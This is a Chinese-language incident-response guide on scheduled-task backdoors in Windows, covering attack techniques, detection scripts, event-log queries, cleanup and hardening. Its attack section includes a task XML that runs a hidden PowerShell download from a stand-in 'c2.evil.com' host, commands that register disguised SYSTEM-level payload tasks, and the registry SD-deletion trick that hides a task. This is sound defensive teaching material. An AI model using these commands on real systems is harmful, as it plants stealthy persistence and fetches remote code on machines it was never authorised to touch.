Windows应急响应 - 19 计划任务后门

Windows应急响应/19-计划任务后门

tags:: #Windows应急响应 #持久化 #计划任务 #ScheduledTask #Backdoor
category:: 持久化与后门检测
difficulty:: 中级-高级
platform:: Windows 7/10/11, Server 2012-2022

概述

Scheduled Task(计划任务)是Windows中最强大的持久化机制之一

攻击者可以设置任务在特定时间、特定事件触发时执行恶意代码

MITRE ATT&CK: T1053.005 - Scheduled Task/Job: Scheduled Task

比Run Key更灵活:支持定时、触发器、用户上下文、权限提升等

Linux对比: 15-Crontab后门 是Linux下的类似机制

一、计划任务基础

1.1 schtasks命令创建任务

基本创建语法:

1
schtasks /create /tn "TaskName" /tr "C:\path\to\payload.exe" /sc onlogon /ru SYSTEM

常见触发器类型:

/sc onlogon — 用户登录时

/sc onstart — 系统启动时

/sc onidle — 系统空闲时

/sc minute /mo 5 — 每5分钟

/sc daily /st 02:00 — 每天凌晨2点

/sc onevent /ec Security /mo "*[System[EventID=4624]]" — 事件触发

关键参数:

/ru SYSTEM — 以SYSTEM权限运行

/rl HIGHEST — 最高权限

/f — 强制覆盖已存在的任务

1.2 任务存储位置

文件系统:

1
2
C:\Windows\System32\Tasks\                   # 任务XML定义文件
C:\Windows\System32\Tasks\Microsoft\ # 系统内置任务

注册表:

1
2
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\

二进制任务文件(旧版兼容):

1
2
C:\Windows\System32\Tasks\  (XML格式)
C:\Windows\Tasks\ (.job格式,at.exe使用)

1.3 XML任务定义结构

每个计划任务都有一个XML定义文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Date>2026-03-15T10:00:00</Date>
<Author>NT AUTHORITY\SYSTEM</Author>
<Description>System Maintenance</Description>
</RegistrationInfo>
<Triggers>
<LogonTrigger>
<Enabled>true</Enabled>
</LogonTrigger>
</Triggers>
<Principals>
<Principal id="Author">
<UserId>S-1-5-18</UserId>
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
<Actions Context="Author">
<Exec>
<Command>powershell.exe</Command>
<Arguments>-w hidden -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://c2.evil.com/stager')"</Arguments>
</Exec>
</Actions>
</Task>

二、攻击手法详解

2.1 基础持久化任务

最简单的计划任务后门:

1
schtasks /create /tn "\Microsoft\Windows\Maintenance\SystemCleanup" /tr "C:\Users\Public\beacon.exe" /sc onlogon /ru SYSTEM /f

注意:将任务名设在Microsoft\Windows\子路径下,模仿系统任务

使用PowerShell创建:

1
2
3
4
5
6
7
8
9
$action = New-ScheduledTaskAction -Execute "powershell.exe" `
-Argument "-w hidden -nop -ep bypass -f C:\ProgramData\update.ps1"
$trigger = New-ScheduledTaskTrigger -AtLogOn
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest
$settings = New-ScheduledTaskSettingsSet -Hidden

Register-ScheduledTask -TaskName "SystemUpdate" `
-Action $action -Trigger $trigger `
-Principal $principal -Settings $settings

2.2 隐藏任务(SD值删除)

高级技术: 删除任务的Security Descriptor (SD)值使其在schtasks /query中不可见

原理: TaskCache\Tree<TaskName> 下有一个 SD (Security Descriptor) 值

删除此值后,标准API无法枚举该任务,但任务仍然会执行

创建隐藏任务的步骤:

1
2
3
4
5
6
# Step 1: 正常创建任务
schtasks /create /tn "HiddenTask" /tr "C:\payload.exe" /sc daily /st 03:00 /ru SYSTEM /f

# Step 2: 删除SD值使其隐藏(需要SYSTEM权限)
# 使用PsExec获取SYSTEM shell
PsExec.exe -s -i reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\HiddenTask" /v SD /f

验证隐藏效果:

1
2
3
4
5
# 标准查询看不到
schtasks /query /tn "HiddenTask" # 返回"系统找不到指定的文件"

# 但任务文件仍然存在
Get-Content "C:\Windows\System32\Tasks\HiddenTask"

这是近年来APT攻击中非常流行的隐藏技术

相关CVE: CVE-2022-37942 等

2.3 COM Handler任务

使用COM Handler替代直接的命令执行,绕过命令行检测:

1
2
3
4
5
6
<Actions Context="Author">
<ComHandler>
<ClassId>{E6D18874-3171-429C-B61D-E7F891B30F18}</ClassId>
<Data>payload_data_here</Data>
</ComHandler>
</Actions>

攻击者先通过COM劫持注册恶意CLSID(参见 23-COM劫持

然后创建使用该CLSID的计划任务

这种方式不会在任务的”操作”中显示可执行路径

2.4 at.exe遗留命令

at.exe是旧版计划任务命令,在某些系统上仍可用:

1
at 03:00 /every:M,T,W,Th,F,S,Su "C:\payload.exe"

at.exe创建的任务存储在 C:\Windows\Tasks\ 目录下(.job文件)

某些安全工具不检查.job文件,成为检测盲点

2.5 事件触发任务

基于事件日志触发,极为隐蔽:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 当有用户登录(Event 4624)时触发
$trigger = New-ScheduledTaskTrigger -AtLogOn

# 或者使用事件触发器
$CIMTriggerClass = Get-CimClass -ClassName MSFT_TaskEventTrigger `
-Namespace Root/Microsoft/Windows/TaskScheduler
$trigger = New-CimInstance -CimClass $CIMTriggerClass -ClientOnly
$trigger.Subscription = @"
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">*[System[EventID=4624]]</Select>
</Query>
</QueryList>
"@
$trigger.Enabled = $true

也可以监听自定义事件源,在某个条件满足时触发

三、检测方法

3.1 schtasks查询

列出所有计划任务(详细模式):

1
schtasks /query /fo LIST /v > all_tasks.txt

CSV格式便于分析:

1
schtasks /query /fo CSV /v > all_tasks.csv

查看特定任务的详细信息:

1
schtasks /query /tn "\Microsoft\Windows\Maintenance\SystemCleanup" /fo LIST /v

PowerShell方式(更灵活):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Get-ScheduledTask | Where-Object {
$_.State -ne 'Disabled'
} | ForEach-Object {
$info = $_ | Get-ScheduledTaskInfo -ErrorAction SilentlyContinue
[PSCustomObject]@{
TaskName = $_.TaskName
TaskPath = $_.TaskPath
State = $_.State
Author = $_.Author
RunAs = $_.Principal.UserId
Actions = ($_.Actions | ForEach-Object {
if ($_.Execute) { "$($_.Execute) $($_.Arguments)" }
elseif ($_.ClassId) { "COM: $($_.ClassId)" }
}) -join '; '
LastRunTime = $info.LastRunTime
NextRunTime = $info.NextRunTime
}
} | Format-Table -AutoSize -Wrap

3.2 检测隐藏任务

由于隐藏任务删除了SD值,标准API无法枚举,需要替代方法:

方法1: 直接扫描Tasks目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 枚举C:\Windows\System32\Tasks下的所有XML文件
$taskFiles = Get-ChildItem "C:\Windows\System32\Tasks" -Recurse -File

# 与API返回的任务列表对比
$apiTasks = Get-ScheduledTask | ForEach-Object {
($_.TaskPath + $_.TaskName).TrimStart('\')
}

foreach ($file in $taskFiles) {
$relativePath = $file.FullName.Replace(
"C:\Windows\System32\Tasks\", "")
if ($relativePath -notin $apiTasks) {
Write-Host "[!] HIDDEN TASK: $relativePath" -ForegroundColor Red
Write-Host " File: $($file.FullName)"
Write-Host " Created: $($file.CreationTime)"
Write-Host " Modified: $($file.LastWriteTime)"
# 显示任务内容
[xml]$taskXml = Get-Content $file.FullName
$actions = $taskXml.Task.Actions.Exec
Write-Host " Command: $($actions.Command) $($actions.Arguments)" -ForegroundColor Yellow
}
}

方法2: 直接查询注册表TaskCache

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 枚举TaskCache\Tree中缺少SD值的任务
$treePath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree"

function Check-TaskTree {
param([string]$Path)
Get-ChildItem $Path -ErrorAction SilentlyContinue | ForEach-Object {
$sd = (Get-ItemProperty $_.PSPath -Name "SD" -ErrorAction SilentlyContinue).SD
if (-not $sd) {
$id = (Get-ItemProperty $_.PSPath -Name "Id" -ErrorAction SilentlyContinue).Id
if ($id) {
Write-Host "[!] NO SD: $($_.PSChildName) (ID: $id)" -ForegroundColor Red
}
}
# 递归检查子项
Check-TaskTree $_.PSPath
}
}

Check-TaskTree $treePath

3.3 Windows事件日志

Event ID 4698: 计划任务被创建(Security日志)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
Id = 4698
} -MaxEvents 50 | ForEach-Object {
$xml = [xml]$_.ToXml()
$taskName = ($xml.Event.EventData.Data | Where-Object { $_.Name -eq 'TaskName' }).'#text'
$taskContent = ($xml.Event.EventData.Data | Where-Object { $_.Name -eq 'TaskContent' }).'#text'
[PSCustomObject]@{
TimeCreated = $_.TimeCreated
TaskName = $taskName
SubjectUser = ($xml.Event.EventData.Data | Where-Object { $_.Name -eq 'SubjectUserName' }).'#text'
TaskContent = $taskContent.Substring(0, [Math]::Min(200, $taskContent.Length))
}
} | Format-List

Event ID 4702: 计划任务被更新

Event ID 106: 任务注册(TaskScheduler operational日志)

1
2
3
4
Get-WinEvent -FilterHashtable @{
LogName = 'Microsoft-Windows-TaskScheduler/Operational'
Id = 106
} -MaxEvents 50 | Select-Object TimeCreated, Message | Format-List

Event ID 200/201: 任务执行开始/完成

重要: 确认Security日志审核策略已开启:

1
auditpol /set /subcategory:"Other Object Access Events" /success:enable /failure:enable

3.4 Autoruns检查

Autoruns可以显示计划任务自启动项:

1
autorunsc.exe -a t -m -s -h -c -nobanner > autoruns_tasks.csv

-a t 指定只检查Scheduled Tasks类别

重点关注: 非Microsoft签名、异常路径、PowerShell/CMD参数

四、真实APT案例

4.1 APT29 (Cozy Bear) — SUNSPOT

SolarWinds供应链攻击中使用的计划任务:

1
2
3
4
Task Name: \Microsoft\Windows\SoftwareDistribution\SynchronizeTime
Action: C:\Windows\SysWOW64\surfbar.exe
Trigger: Daily at 05:00
Run As: SYSTEM

特点: 任务名和路径都模仿Windows Update相关任务

4.2 Tarrask恶意软件(隐藏任务)

2022年Microsoft披露的Tarrask攻击:

利用SD值删除技术隐藏计划任务

用于HAFNIUM APT组织的后渗透持久化

任务名通常模仿Windows系统任务

创建后删除SD值,使得标准工具无法发现

4.3 Emotet的计划任务模式

Emotet典型的计划任务创建命令:

1
schtasks /create /tn "Updater_{GUID}" /tr "regsvr32.exe /s C:\Users\<user>\AppData\Local\<random>\<random>.dll" /sc daily /st 12:00 /f

特点: 使用regsvr32加载DLL,随机命名

五、清除与修复

5.1 删除恶意任务

使用schtasks删除:

1
schtasks /delete /tn "\Microsoft\Windows\Maintenance\SystemCleanup" /f

PowerShell方式:

1
Unregister-ScheduledTask -TaskName "SystemUpdate" -Confirm:$false

对于隐藏任务(SD值已删除的),需要先恢复SD值或直接删除文件:

1
2
3
4
5
6
7
8
9
10
11
12
# 方法1: 直接删除任务XML文件
Remove-Item "C:\Windows\System32\Tasks\HiddenTask" -Force

# 方法2: 删除注册表中的TaskCache条目
# 先找到任务的GUID
$taskId = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\HiddenTask" -Name Id).Id

# 删除Tree条目
Remove-Item "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\HiddenTask" -Recurse -Force

# 删除Tasks条目
Remove-Item "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\$taskId" -Recurse -Force

5.2 批量审计与清理脚本

完整的计划任务审计脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# 综合计划任务安全审计
Write-Host "=== Scheduled Task Security Audit ===" -ForegroundColor Cyan

# 1. 检查所有非Microsoft任务
Write-Host "`n[1] Non-Microsoft Tasks:" -ForegroundColor Yellow
Get-ScheduledTask | Where-Object {
$_.TaskPath -notlike "\Microsoft\*" -and
$_.TaskName -notlike "User_Feed*"
} | ForEach-Object {
$task = $_
Write-Host " Task: $($task.TaskPath)$($task.TaskName)" -ForegroundColor White
$task.Actions | ForEach-Object {
if ($_.Execute) {
Write-Host " Exec: $($_.Execute) $($_.Arguments)" -ForegroundColor Gray
# 检查可执行文件签名
if (Test-Path $_.Execute) {
$sig = Get-AuthenticodeSignature $_.Execute
if ($sig.Status -ne 'Valid') {
Write-Host " [!] UNSIGNED or INVALID signature!" -ForegroundColor Red
}
}
}
}
}

# 2. 检查隐藏任务
Write-Host "`n[2] Hidden Tasks (missing SD):" -ForegroundColor Yellow
$tree = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree"
Get-ChildItem $tree -Recurse | ForEach-Object {
$sd = (Get-ItemProperty $_.PSPath -Name SD -ErrorAction SilentlyContinue).SD
$id = (Get-ItemProperty $_.PSPath -Name Id -ErrorAction SilentlyContinue).Id
if ($id -and -not $sd) {
Write-Host " [!] $($_.PSChildName) - GUID: $id" -ForegroundColor Red
}
}

# 3. 检查.job文件
Write-Host "`n[3] Legacy .job files:" -ForegroundColor Yellow
Get-ChildItem "C:\Windows\Tasks" -Filter "*.job" | ForEach-Object {
Write-Host " [!] $($_.Name) - Created: $($_.CreationTime)" -ForegroundColor Red
}

# 4. 最近创建的任务(7天内)
Write-Host "`n[4] Recently created tasks (7 days):" -ForegroundColor Yellow
Get-ChildItem "C:\Windows\System32\Tasks" -Recurse -File |
Where-Object { $_.CreationTime -gt (Get-Date).AddDays(-7) } |
Sort-Object CreationTime -Descending |
Select-Object FullName, CreationTime | Format-Table -AutoSize

5.3 证据收集

在清除前务必收集证据:

1
2
3
4
5
6
7
8
9
10
11
12
13
# 导出任务XML
$evidencePath = "C:\IR_Evidence\ScheduledTasks"
New-Item -ItemType Directory -Path $evidencePath -Force

# 复制所有任务XML
Copy-Item "C:\Windows\System32\Tasks\*" $evidencePath -Recurse -Force

# 导出TaskCache注册表
reg export "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache" "$evidencePath\TaskCache.reg"

# 导出相关事件日志
wevtutil epl Security "$evidencePath\Security.evtx" "/q:*[System[(EventID=4698 or EventID=4702)]]"
wevtutil epl Microsoft-Windows-TaskScheduler/Operational "$evidencePath\TaskScheduler.evtx"

六、防御建议

6.1 监控策略

配置Sysmon监控计划任务相关进程:

1
2
3
4
<ProcessCreate onmatch="include">
<CommandLine condition="contains">schtasks</CommandLine>
<CommandLine condition="contains">Register-ScheduledTask</CommandLine>
</ProcessCreate>

部署SIEM规则检测异常任务创建

定期执行隐藏任务扫描

6.2 权限加固

限制非管理员用户创建SYSTEM权限任务

通过GPO限制schtasks.exe的执行

监控C:\Windows\System32\Tasks目录的文件变更

七、关联检查

计划任务后门应与以下内容关联分析:

08-计划任务与服务审计 — 基础审计方法

18-Registry-Run后门 — 同一攻击者常同时使用多种持久化

20-Windows服务后门 — 服务也是常见的持久化载体

21-WMI事件订阅后门 — WMI订阅是另一种基于事件的持久化

15-Crontab后门 — Linux下的等效机制

八、应急响应Checklist

[ ] 执行 schtasks /query /fo CSV /v 导出所有任务

[ ] 使用PowerShell扫描非Microsoft签名的任务

[ ] 检查隐藏任务(SD值缺失、文件系统vs API对比)

[ ] 检查 C:\Windows\Tasks\ 下的 .job 文件

[ ] 查询Security Event ID 4698/4702

[ ] 查询TaskScheduler Operational日志

[ ] 检查COM Handler类型任务的CLSID合法性

[ ] 检查最近7天内新增的任务文件

[ ] 收集证据后清除恶意任务

[ ] 确认恶意进程已终止、恶意文件已删除


上一章 目录 下一章
18-Registry-Run后门 Windows应急响应 20-Windows服务后门